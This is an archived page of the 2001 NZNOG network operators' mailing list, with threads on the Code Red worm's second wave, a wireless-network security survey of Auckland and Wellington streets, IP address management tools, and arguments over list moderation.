reads: unsubscribe nznog

1 0

RE: Different Code Red?
by Thomas Salmen 04 Aug '01

04 Aug '01

For those who havn't seen yet - -----BEGIN PGP SIGNED MESSAGE----- Just a quick FYI, there is a new version of Code Red which appears to be spreading rather rapidly. - - Appears to be a new re-write. - - Drops some sort of remote access trojan. - - Turns off System File Checker (Windows File Protection.) - - Moves CMD.EXE to the scripts directory in IIS - - Looks like the way they make the entry into code very differently than before. - - If your IDS is looking for "NNNN", forget it (but then you should have been shot if you used this string anyway) Cheers, Russ - Surgeon General of TruSecure Corporation/NTBugtraq Editor p.s. if we don't respond right away its because we're now going to go and light the fireworks here at my retreat. Might as well have lots of fireworks tonight! -----BEGIN PGP SIGNATURE----- Version: PGP Personal Privacy 6.5.2 iQCVAwUBO2zCARBh2Kw/l7p5AQH95wQAqjGp7vRYK8SYky/ydyU1wxBmCe2c8Mpd DBdxrv+TY9112ZuH663ZspUOXThS9oeEyT4sdbVYNv8Z28nMipbioyTXYa5dw8po 21tkilo6ZoGX+AmKJ6Kz7WDvMpHpEfzDr3JHGtxuev0/rclXeRSN4urypMR3YnRz uw5ZW/F3U/I= =OhCV -----END PGP SIGNATURE----- Quite exciting really, isn't it? Regards, Thomas Salmen System Administrator Radionet Ltd. 1/72 Paul Matthews Road Albany, Auckland, New Zealand Ph: +64 9 414 0300 ext 718 -----Original Message----- From: Dan Langille [mailto:dan(a)langille.org] Sent: Sunday, 5 August 2001 4:00 p.m. To: Juha Saarinen Cc: nznog(a)list.waikato.ac.nz Subject: Re: Different Code Red? On 5 Aug 2001, at 11:53, Juha Saarinen wrote: > I'm getting lots of hits on my home box, unfortunately. 142 since August > 1 is the latest count. :-( > > Noticed that the GET requests look different now: [snip] Some look different: [dan(a)dev:/var/log] $ grep -c "default.ida?X" /var/log/httpd-access.log 12 [dan(a)dev:/var/log] $ grep -c "default.ida?N" /var/log/httpd-access.log 116 [dan(a)dev:/var/log] $ grep -c "default.ida" /var/log/httpd-access.log 128 The above represents the last 24 hours EST. All hits were against the IP address, not against any known domain (i.e. the HTTP headers did not include a domain name). -- Dan Langille pgpkey - finger dan(a)unixathome.org | http://unixathome.org/finger.php --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Code Red v. II
by Juha Saarinen 03 Aug '01

03 Aug '01

Arrghhh... three times as many hits: pts/0 juha(a)vimfuego:/mnt/hdb6/home/juha$ grep -c default.ida /var/log/httpd/access_log 54 -- Juha Saarinen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

The Wellington Wander
by Dean Pemberton 02 Aug '01

02 Aug '01

Ok the numbers are in. Wellington scored much less usage on the wireless front Well less on the 'being able to pick up with a dinky antenna on the sidewalk' front I happen to know for certain that there are wireless stations out there that I missed Wellington seems to have a few hot spots rather than a general level of wireless. It does score higher on the security side though. Of the 17 networks that I saw, 9 were using WEP The ones that weren't however did try valiantly to give me IP addresses and invite me onto their networks. This kinda freaked me out (this is not an intrusion attempt remember) so I ended up disabling all protocols on that interface In the spirit of Tim Allen I think I need more power. So I'm on the lookout for a larger antenna, and I think I know just the place to get one on loan =) Later Dean --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

7 8

Re: Dean's Wireless Walkabout
by Dean Pemberton 02 Aug '01

02 Aug '01

HAHAHAHA ROFLMAO Choccie Fish for Joe here. Yes of course I mean 802.11 hahaha - I'm still laughing at that cock up. So how many people were worried that I could see their Vlans from the street? Dean On Wed, Aug 01, 2001 at 10:48:38PM +1200, Joe Lewis wrote: > > Hi, umm feel free to shoot me down but don't you mean 802.11(b)? > > --- > Joe Lewis > > On Wed, 1 Aug 2001, Dean Pemberton wrote: > > > > > Hi all; > > > > Yes this might be a first, I'm going to drag the topic BACK to something network related. > > > > I happen to be in Auckland today. Flew in for customer chit chat which will happen tommorow. > > Had a spare afternoon and no one to see so I thought I might do the geek thing and see how little old Auckland was getting along with it's wireless networking. > > > > SO, I slapped the 802.1Q card into the laptop and strapped the GPS onto the outside of my backpack and went for a walk. > > > > I walked down Queen Street from the top to the water, and then back up to Albert St to Wellesley then back up Symonds to my hotel. > > > > Well. Auckland sure is brimming with wireless. But the concern (and I spose the reason that I posted this at all) was that most of it is insecure. > > > > Now I'm a good guy. I don't want to get access to anything, god knows I see enough internet as it is. I just wanted to see how many places had embraced the 802.1Q fad. > > > > So all in all 29 networks jumped out and grabbed me as I was walking past. only 4 of them were using WEP. > > Now because I didn't actually try to gain access to any of them, I have no idea what the internal security of them is like. But I'm not expecting much. > > > > I don't think I sniffed anything off the sky tower, I was only using the small antenna on the card. > > > > So if you run a wireless network in the center of Auckland and you were using the strategy of "Oh it will never make it down to the street" Then you are wrong and you might like to put some more security on. > > > > I thought about mailing my networklist out as well. But I decided against it. Mainly because it has exact GPS locations and network names. It would make easy pickings for anyone who wanted to gain access. > > If you want to mail me privatly with your network name and/or card MAC address then I will give you a yes or no answer. > > > > Dont feel alone though. I've done the same in North Sydney and come up with similar numbers. > > > > Next week wellington. > > > > Have fun > > > > Dean > > --------- > > To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz > > where the body of your message reads: > > unsubscribe nznog > > > --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

6 10

Proposed Change to Acceptable Use Policy
by Donald Neal 02 Aug '01

02 Aug '01

NZNOG People, It is not always obvious, but this list does have an acceptable use policy. Here it is: ---------- NZNOG Mailing List Acceptable Use Policy The NZNOG mailing list exists to provide a forum for the exchange of technical information and the discussion of implementation issues that require cooperation among New Zealand network service providers. In order to continue to provide a useful forum for discussion of relevant technical issues, users of the list are asked to respect the following guidelines. 1. Discussion will focus on Internet operational and technical issues. 2. Discussion related to meetings of network service providers is appropriate. 3. Discussion unrelated to these topics is not appropriate. 4. Postings to multiple mailing lists are discouraged. 5. Postings that include foul language, character assassination, and lack of respect for other participants are unacceptable. 6. Blatant product or service marketing is unacceptable. 7. Postings of a political, philosophical or legal nature are discouraged. 8. Postings to the list should be in ASCII or MIME encoded as text/plain. Attachments should not be sent to the list. To present a document, a suitable URL may be referred to. For documents of general interest, the use of proprietary file formats is discouraged. 9. Breaches of list etiquette should be dealt with privately with the offending list user, and should not result in complaints being sent to the list. ---------- This has served us well enough for a number of years. I now propose the following addition: 10. A person repeatedly breaching list etiquette shall receive warnings from the list administrator. A further breach after the second such warning within thirty days shall result in the offender being unsubscribed from the list. Other action may also be taken to block postings to the list by the offender. Any such unsubscription is to be immediately announced to the list. Votes on this change to me (not the list!) by midday, Friday 10 August, please. In the interim, I intend to proceed as I outlined previously. I shall issue formal warnings for irrelevant or abusive postings, and shall act to block postings as soon as a third warning within thirty days is issued to any individual. To avoid any appearance of retrospective action, I shall start counting warnings only from the appearance of this posting to the list. NB: This wiping of the slate excludes persons who have during the last week threatened me with legal action or have threatened to approach my employers to get them to influence my issuing of warnings for inappropriate posting. I consider that those involved have received far more warning than most people already. If a majority of votes cast support the change, this will become permanent practice, and the list will switch in the near future to accepting postings only from addresses supplied in advance. If the majority oppose it, we shall return to relying on people's goodwill. Unless someone else has a better idea? Donald --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

RE: IP Address Management software.
by Steve Lang 02 Aug '01

02 Aug '01

Hiya. > Solarwinds (solarwinds.net) have a pretty cool suite of tools > that include > among others, IP management tools. They cost, but if you have > real buisiness > needs they are more cost effective than other commercial > solutions (Ci$co > included), and will quickly justify the cost. I had found them as well. Useful, and not that expensive when compared with others. > Network Address Recovery (This pings all IP address ranges > that you tell it > on a predetermined regular period (default 4 Hours), and > reports on the last > time an IP address was seen on the network) > There is a sample screen shot @ > http://solarwinds.net/Tools/Network_Discovery/Network_Address_ > Recovery/NetAd > Rec-1.gif I tested this, it looked quite good, but it's insistence at pinging things was annoying. > DHCP Scope Monitor (Requires Micro$soft DHCP and SNMP with > obviously NOT > public as the community string) Eeek. That would be interesting. Cheers and thanx. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

IP Address Management software.
by Steve Lang 02 Aug '01

02 Aug '01

Hiya all. 'Been lurking here for a while now, and actually have something worth saying now! I'm looking into IP Address Management packages. I've grazed through google, and a few others, and found pointers to many. It seems that there are a few packages that purport to allow people to manage IP Address space, but many of them focus on the integration of DHCP/DNS. Now, for what I'm after at the moment, this isn't an issue, and all I really want is something that can document allocations and what they're used for. There are some packages that don't exist now, and a couple that have changed hands within the last few years. An understanding of VLSM/CIDR etc. is required, although maybe not an understanding, but an allowance to docuement super/subnets. What do you, the contributors to this list use? And yes, I've done the spreadsheet thing to death... Cheers - -------------------------------------------------------------------------- Steve Lang Telephone: +64-9-309-7918 Consultant DDI: +64-9-307-5584 Optimation New Zealand Limited. Mobile: +64-25-864-653 P.O.Box 106104 Fax: +64-9-309-7919 Auckland E-mail: steve.lang(a)optimation.co.nz New Zealand Web: www.optimation.co.nz --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

4 4

M1122 --- spontaneously corrupting flash
by Chris Wedgwood 01 Aug '01

01 Aug '01

Anyone out there inflicted with an M1122? I am, and for the second time to me, and third time in total (once at my old work) have had these modem die completely... Investigation (via console) has shown, in every single case, the flash has gotten corrupted or something, as image.exe (the firmware that is booted from ROM) is either corrupt or deleted. The worst thing is, the console refused to respond, which really sucks, as it means I can't revert to the previous image or put a new one on it. To make life even more interesting, the phone lines here are pretty spectacular, modems barely work and when they do, they drop about every 10 minutes or so even when you lock the modulation to v34 in an attempt to make things more reliable. --cw --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Re: Crap
by Donald Neal 01 Aug '01

01 Aug '01

>>> "Matt Camp" <gargoyle(a)noise.net.nz> 08/01/01 08:55 >>> >I'd like to ask that this list is immediatly changed to drop non-member >submissions, and that Joe and Jeff are removed. >There is off topic conversation, and then there is pointless, induced, >drivel. NZNOG People, I'm not willing to get involved in a process of deciding for myself that one poster's five postings are cause for blocking, and someone else's are not. And the balance of the (admittedly small) number of emails I got on the subject last month was against restricting postings. On the other hand, I'm not at all happy with this list's s/n ratio. I have this morning sent to a number of posters requests not to send further inappropriate postings to this list. If these result in much improved behaviour, well and good. If not, I plan to move to a practice familiar to followers of cricket. Friendly warnings for misbehaviour may be given. Formal warnings follow. Too many formal warnings and you are asked to retire from the match. And yes, that would mean a move to restricting postings to addresses previously supplied, if not necessarily subscribed. Comments on that plan to the list, please. If it seems to me necessary to implement it I plan to put it to a vote as a set of additions to the AUP. When that might happen depends on postings. - Donald Neal List Administrator -- Donald Neal Mobility & Calling Platforms Network Delivery Telecom New Zealand Ltd --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

10 13

Code Red Early warning for SANS
by Jeff Williams 01 Aug '01

01 Aug '01

All, For your interest on Code Red Worm... See: http://www.digitalisland.net/codered/ for hour to hour reports... I also have an Eradicator if anyone is interested... Regards, -- Jeffrey A. Williams Spokesman for INEGroup - (Over 118k members strong!) CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng. Information Network Eng. Group. INEG. INC. E-Mail jwkckid1(a)ix.netcom.com Contact Number: 972-447-1800 x1894 or 214-244-4827 Address: 5 East Kirkwood Blvd. Grapevine Texas 75208 --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Dean's Wireless Walkabout
by Dean Pemberton 01 Aug '01

01 Aug '01

Hi all; Yes this might be a first, I'm going to drag the topic BACK to something network related. I happen to be in Auckland today. Flew in for customer chit chat which will happen tommorow. Had a spare afternoon and no one to see so I thought I might do the geek thing and see how little old Auckland was getting along with it's wireless networking. SO, I slapped the 802.1Q card into the laptop and strapped the GPS onto the outside of my backpack and went for a walk. I walked down Queen Street from the top to the water, and then back up to Albert St to Wellesley then back up Symonds to my hotel. Well. Auckland sure is brimming with wireless. But the concern (and I spose the reason that I posted this at all) was that most of it is insecure. Now I'm a good guy. I don't want to get access to anything, god knows I see enough internet as it is. I just wanted to see how many places had embraced the 802.1Q fad. So all in all 29 networks jumped out and grabbed me as I was walking past. only 4 of them were using WEP. Now because I didn't actually try to gain access to any of them, I have no idea what the internal security of them is like. But I'm not expecting much. I don't think I sniffed anything off the sky tower, I was only using the small antenna on the card. So if you run a wireless network in the center of Auckland and you were using the strategy of "Oh it will never make it down to the street" Then you are wrong and you might like to put some more security on. I thought about mailing my networklist out as well. But I decided against it. Mainly because it has exact GPS locations and network names. It would make easy pickings for anyone who wanted to gain access. If you want to mail me privatly with your network name and/or card MAC address then I will give you a yes or no answer. Dont feel alone though. I've done the same in North Sydney and come up with similar numbers. Next week wellington. Have fun Dean --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

4 4

RE: Code Red (Take Two)
by Thomas Salmen 01 Aug '01

01 Aug '01

A little less of an impact this time then, huh? We've had two customers infected, both installs of which were less than a few days old. Seems that most admins (in NZ at least) have been rather better prepared this time round. Don't know if I can say the same for our friends overseas - many of the IPs that I have logged originate in Asia. Some in the States and Europe, but not as many. A few illegal, unpatched IIS installs, maybe... Must say, though, it was rather funny reading about the 'Code Red no-show' in the news this morning... Regards, Thomas Salmen System Administrator Radionet Ltd. 1/72 Paul Matthews Road Albany, Auckland, New Zealand Ph: +64 9 414 0300 ext 718 -----Original Message----- From: Thomas Salmen [mailto:thomas(a)radionet.co.nz] Sent: Thursday, 2 August 2001 2:12 p.m. To: nznog(a)list.waikato.ac.nz Subject: Code Red (Take Two) Just curious... have many people been affected by the second round of Code Red infections? We have seen plenty of inbound traffic here (well, the odd bit, anyway) but very few of our customers web servers have been hit - not like last time... Regards, Thomas Salmen System Administrator Radionet Ltd. 1/72 Paul Matthews Road Albany, Auckland, New Zealand Ph: +64 9 414 0300 ext 718 --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

3 2

Code Red (Take Two)
by Thomas Salmen 01 Aug '01

01 Aug '01

Just curious... have many people been affected by the second round of Code Red infections? We have seen plenty of inbound traffic here (well, the odd bit, anyway) but very few of our customers web servers have been hit - not like last time... Regards, Thomas Salmen System Administrator Radionet Ltd. 1/72 Paul Matthews Road Albany, Auckland, New Zealand Ph: +64 9 414 0300 ext 718 --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

9 9

Hmm.
by David Robb 01 Aug '01

01 Aug '01

Is this true? http://www.bogusjourney.com/08018.html David Robb --- Senior Network Engineer DDI +64-9-359-2710 ihug (AS7657) NOC +64-9-359-2708 "The Earth is a single point of failure" --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

13 25

(off topic) Stop with all the garbage please.
by stephen sheehan 01 Aug '01

01 Aug '01

Jeff, Dr Joe and all, I see myself as being fortunate to be a member of this mailing list, to here the wisdom of the local net Gods. It appears some of you do not share this view. I see this list as a valuable resource for the local net industry, and of late it seems to have deteriated into basicly a type of email chatroom for all sorts of off-topic bitching. So I am asking that you please have some respect for the intended purpose of this list and other list members. If you want to bitch to each other or discuss stuff that is not relavent, please do so by private email, as I am sure most of you have better things to do than sort through all the shit that has been posted to the list lately. Sorry for posting this off topic e-mail and sounding like a hypocrite and also adding to the large amount of crap alread on this list. Your sincerely Stephen Sheehan __________________________________________________ Do You Yahoo!? Make international calls for as low as $.04/minute with Yahoo! Messenger http://phonecard.yahoo.com/ --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Alternative List
by Matt Camp 01 Aug '01

01 Aug '01

A while back an alternative list was proposed... most people seemed quite receptive to the idea... so it now exists. To subscribe, send a mail to majordomo(a)noise.net.nz with 'subscribe nznet' in the body. The alternative list is more informal, and more generally aimed at the NZ Networking industry. It may contain things such as details of used equipment for sale, and discussions which would be regarded as off topic here. Hopefully this will give us a place to discuss such things, and will keep the noise level down here somewhat. --- Matt Camp --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

RE: Crap
by Michael Bordignon 01 Aug '01

01 Aug '01

maybe uh, ending discussion of this completely off-topic discussion and refraining from replying to any further attempts to revive it may be productive? (including replying to this rhetorical post) Michael > i know this well and so does jeff. example - you filter me > out - or jeff > - or whomever it may be you choose to filter - then some third party > begins the drivel about jeff williams. well - you end up on > the receiving > end of the drivil from the third parties. in most cases > filtering ends up > causing confusion. you would essentially have to filter out > everyone who > is speaking about jeff williams - and that in my opinion is counter > productive. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Validation of INEGROUP.GOD Domain
by The dot.GOD Registry, Limited 01 Aug '01

01 Aug '01

Hello: This email will confirm that we have processed your domain registration request for: INEGROUP.GOD. Someone, hopefully you, has registered this domain with us. If not please let us know. You must now visit our web site to validate your domain and enter your validation ticket number. TICKET: 52396544d99665168490 Please click on the following URL to activate your new domain name now. https://secure.dot-god.com/god.nic/validate.cgi?inegroup=52396544d996651684… Or if the above URL does not work (some email systems may crop the URL) then please visit: https://secure.dot-god.com/cgi-bin/validate.cgi and enter the following information manually at the prompt: DOMAIN: inegroup TICKET: 52396544d99665168490 Regards hostmaster(a)dot-god.com http://www.dot-god.com/ The dot.GOD Registry, Limited Executive Plaza, Suite 908 150 West 51st Sreet New York, New York, 10019 US --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

5 5

RED WORM Virus
by Mike Conner 01 Aug '01

01 Aug '01

Has any one seen the worm yet? Mike Conner. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

3 3

Code Red growth stats (fwd)
by !Dr. Joe Baptista 01 Aug '01

01 Aug '01

my contribution to keeping this conference topical today. ---------- Forwarded message ---------- Date: Wed, 1 Aug 2001 09:44:05 -0700 From: k claffy <kc(a)ipn.caida.org> To: nanog(a)nanog.org Subject: Code Red growth stats (david moore with help from a bunch of elves) http://www.caida.org/analysis/security/code-red/aug1-live-hosts.gif was exponential till about an hour ago, we're not sure if leveling off is due to our monitor load or an actual peak in the data. log-scale version http://www.caida.org/analysis/security/code-red/aug1-live-hosts-log.gif will put on main caida home page later today and update every minute (you'll have to hit reload, and you won't actually notice changes at a minute granularity so please no per-minute cron jobs to reload :) ) note the corresponding graph for 19-20 july: http://www.caida.org/analysis/security/code-red/gifs/cumulative-ts.log.gif no per AS stats for this outbreak yet, also under construction. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Preemptive strike.
by Andrew Garrett 01 Aug '01

01 Aug '01

Yes, the name Andrew Garrett has been in the news lately. No, I'm not that Andrew Garrett. Yes, my employer is aware of the name similarity, and has investigated the difference between the two individuals, and is satisfied that we are different people. No, the New Zealand Stock Exchange has not hired a "known hacker". Yes, it is rather amusing. No, not very amusing when you're involved. Regards Andrew "sigh, no, not that one" Garrett --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

6 6

Re: nznog subscriber test (jwkckid1@ix.netcom.com)]
by Jeff Williams 31 Jul '01

31 Jul '01

Olderon and all, All I did was be sure to send my response along with my question to the list. I also send Andrew's response as well to the list as I am this one. It seems that perhaps that Andrew is not in agreement with your assessment. As such, it seems that the test was in and of itself a failure or misleading... ????? Olderon wrote: > Jeff. > That was an Intelligence test. you failed. > > "The easiest was for me to do this is to send each subscriber this > brief email and then examine any bounces and errors." > > See the word each? > > That email was sent to everyone on the list. If any of the email addresses > got bounced back or got errors then they would be deemed inactive and > removed from the list. > > ----- Original Message ----- > From: "Jeff Williams" <jwkckid1(a)ix.netcom.com> > To: <nznog(a)list.waikato.ac.nz> > Cc: "Chris Wedgwood" <cw(a)f00f.org> > Sent: Wednesday, August 01, 2001 3:06 PM > Subject: [Fwd: nznog subscriber test (jwkckid1(a)ix.netcom.com) > > > Chris, > > > > What is this all about? Why is My E-mail being singled out? > > > > -- > > Jeffrey A. Williams > > Spokesman for INEGroup - (Over 118k members strong!) > > CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng. > > Information Network Eng. Group. INEG. INC. > > E-Mail jwkckid1(a)ix.netcom.com > > Contact Number: 972-447-1800 x1894 or 214-244-4827 > > Address: 5 East Kirkwood Blvd. Grapevine Texas 75208 > > > > Regards, -- Jeffrey A. Williams Spokesman for INEGroup - (Over 118k members strong!) CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng. Information Network Eng. Group. INEG. INC. E-Mail jwkckid1(a)ix.netcom.com Contact Number: 972-447-1800 x1894 or 214-244-4827 Address: 5 East Kirkwood Blvd. Grapevine Texas 75208 --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Re: [Fwd: nznog subscriber test (jwkckid1@ix.netcom.com)]
by Jeff Williams 31 Jul '01

31 Jul '01

Sheath and all, Thank you for this clarification. However it does not explain Andrew's response.... ????? sheath(a)paradise.net.nz wrote: > everyone got one with the email addy in the subject line to help with > recording the bounces. > > So each person got a test msg with their own email addy in it. > > SPH > > > Chris, > > > > What is this all about? Why is My E-mail being singled out? > > > > -- > > Jeffrey A. Williams > > Spokesman for INEGroup - (Over 118k members strong!) > > CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng. > > Information Network Eng. Group. INEG. INC. > > E-Mail jwkckid1(a)ix.netcom.com > > Contact Number: 972-447-1800 x1894 or 214-244-4827 > > Address: 5 East Kirkwood Blvd. Grapevine Texas 75208 > > > > Regards, -- Jeffrey A. Williams Spokesman for INEGroup - (Over 118k members strong!) CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng. Information Network Eng. Group. INEG. INC. E-Mail jwkckid1(a)ix.netcom.com Contact Number: 972-447-1800 x1894 or 214-244-4827 Address: 5 East Kirkwood Blvd. Grapevine Texas 75208 --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Re: [Fwd: nznog subscriber test (jwkckid1@ix.netcom.com)]
by Donald Neal 31 Jul '01

31 Jul '01

>>> "Mark Foster" <blakjak(a)blakjak.net> 08/01/01 01:21 >>> >The list administrator sent every individual on the list an email in order >to analyse the bounces (if any). > >So therefore noone is 'singled out'. [...] No, I didn't. I'm advised of bounces automatically when they occur. The email in question appears to have originated from Chris Wedgwood. He will presumably now tell us why he sent it. - Donald Neal -- Donald Neal Mobility & Calling Platforms Network Delivery Telecom New Zealand Ltd --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Re: [Fwd: nznog subscriber test (jwkckid1@ix.netcom.com)]
by Jeff Williams 31 Jul '01

31 Jul '01

Andrew and all, I always read all my E-mail closely. What Bullshit? Andrew Garrett wrote: > 1. read the e-mail > 2. learn to not clog lists will bullshit. > > At 08:06 PM 7/31/01 -0700, you wrote: > >Chris, > > > > What is this all about? Why is My E-mail being singled out? > > > >-- > >Jeffrey A. Williams > >Spokesman for INEGroup - (Over 118k members strong!) > >CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng. > >Information Network Eng. Group. INEG. INC. > >E-Mail jwkckid1(a)ix.netcom.com > >Contact Number: 972-447-1800 x1894 or 214-244-4827 > >Address: 5 East Kirkwood Blvd. Grapevine Texas 75208 > > > >Return-Path: <cw+nznog-test-bounce-jwkckid1=ix.netcom.com(a)f00f.org> > >Received: from weta.f00f.org ([203.167.249.89]) > > by elektra (Earthlink/Netcom Mail Service) with ESMTP id > > tmejqq.lmr.37tiu4v > > for <jwkckid1(a)ix.netcom.com>; Tue, 31 Jul 2001 17:37:46 -0700 (PDT) > >Received: by weta.f00f.org (Postfix, from userid 1000) > > id 18BED159B7; Wed, 1 Aug 2001 12:38:14 +1200 (NZST) > >From: Chris Wedgwood <cw(a)f00f.org> > >To: jwkckid1(a)ix.netcom.com > >Subject: nznog subscriber test (jwkckid1(a)ix.netcom.com) > >X-NZNOG-USER: jwkckid1(a)ix.netcom.com > >Reply-To: cw+nznog-test-dont-reply(a)f00f.org > >Message-Id: <20010801003814.18BED159B7(a)weta.f00f.org> > >Date: Wed, 1 Aug 2001 12:38:14 +1200 (NZST) > >MIME-Version: 1.0 > > > >Firstly, my apologies for this brief intrusion. I'm currently testing > >which subscribers of nznog are invalid. > > > >The easiest was for me to do this is to send each subscriber this > >brief email and then examine any bounces and errors. > > > >If you have any questions, please feel free to contact me (create a > >new email, don't reply to this or use the subject above, as it may > >interfere with my primitive automagic filtering technique). > > > >I will post a summary of these results to nznog early next week if > >not sooner. > > > > > > > >Thanks, and once again my apologies for this interruption. > > > > --cw -- Jeffrey A. Williams Spokesman for INEGroup - (Over 118k members strong!) CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng. Information Network Eng. Group. INEG. INC. E-Mail jwkckid1(a)ix.netcom.com Contact Number: 972-447-1800 x1894 or 214-244-4827 Address: 5 East Kirkwood Blvd. Grapevine Texas 75208 --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

[Fwd: nznog subscriber test (jwkckid1@ix.netcom.com)]
by Jeff Williams 31 Jul '01

31 Jul '01

Chris, What is this all about? Why is My E-mail being singled out? -- Jeffrey A. Williams Spokesman for INEGroup - (Over 118k members strong!) CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng. Information Network Eng. Group. INEG. INC. E-Mail jwkckid1(a)ix.netcom.com Contact Number: 972-447-1800 x1894 or 214-244-4827 Address: 5 East Kirkwood Blvd. Grapevine Texas 75208

2 1

Broadband in Greenhithe?
by Juha Saarinen 31 Jul '01

31 Jul '01

Possible? A person there needs something quicker than dial-up for remote access etc. but was told that Jet{start|stream} isn't available in Greenhithe. The area is Black's Road, top of the ridge. Any advice would be appreciated... :-) -- Juha --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 2

New Zealand Network Operators' Group
by Donald Neal 31 Jul '01

31 Jul '01

The New Zealand Network Operators' Group The New Zealand Network Operators' Group (NZNOG) has no king, president or formal membership. At present it consists of the subscribers to this mailing list, which anyone is free to join. This list has around 260 subscribers, growing by a handful each month. The NZNOG mailing list is provided through a server at The University of Waikato, and is administered by an employee of Telecom NZ Ltd. Neither of these organisations (nor the administrator) is responsible for its content. NZNOG Mailing List Acceptable Use Policy The NZNOG mailing list exists to provide a forum for the exchange of technical information and the discussion of implementation issues that require cooperation among New Zealand network service providers. In order to continue to provide a useful forum for discussion of relevant technical issues, users of the list are asked to respect the following guidelines. 1. Discussion will focus on Internet operational and technical issues. 2. Discussion related to meetings of network service providers is appropriate. 3. Discussion unrelated to these topics is not appropriate. 4. Postings to multiple mailing lists are discouraged. 5. Postings that include foul language, character assassination, and lack of respect for other participants are unacceptable. 6. Blatant product or service marketing is unacceptable. 7. Postings of a political, philosophical or legal nature are discouraged. 8. Postings to the list should be in ASCII or MIME encoded as text/plain. Attachments should not be sent to the list. To present a document, a suitable URL may be referred to. For documents of general interest, the use of proprietary file formats is discouraged. 9. Breaches of list etiquette should be dealt with privately with the offending list user, and should not result in complaints being sent to the list. Mailing List Archives A full archive is available at http://list.waikato.ac.nz/archives/nznog/ Any message sent to the list will be archived and made available on the web automatically. Subscribing to the List To subscribe to the NZNOG list, send email to majordomo(a)list.waikato.ac.nz, where the body of the message reads subscribe nznog There are at present no restrictions on who may subscribe to the list, or even on who may post to the list. A recent suggestion that posting be restructed to subscribers received little support. Digest Mailing List If you don't wish to receive postings as they are sent, you can instead subscribe to the nznog-digest mailiing list, on which all postings are sent out in a single "digest" every couple of days. Other Activities NZNOG does not at present have other regular activities than this mailing list. Donald Neal NZNOG Mailing List Owner/Administrator/Muggins --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

IDGNet News: The fixed version
by IDGNetAdministrator＠idg.co.nz 26 Jul '01

26 Jul '01

This message has been sent to you by a user of IDGNet, New Zealand's leading I.T. information Website. Version as of 2:50 26/7/01 Privacy issue over mailing list archives Mailing lists that make archives of their postings publicly accessible on the internet could be in breach of the Privacy Act, according to an Auckland lawyer. http://www.idg.net.nz/webhome.nsf/UNID/29322B8165E1E256CC256A94001886CB?ope… For the latest in I.T. News, Reviews, Opinion and more visit http://idg.net.nz If you wish to block your email address from receiving further emails of this type please email nzwebmaster(a)idg.co.nz. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

5 4

FW: Help! Cistron major failure in production! (fwd)
by Matt Camp 26 Jul '01

26 Jul '01

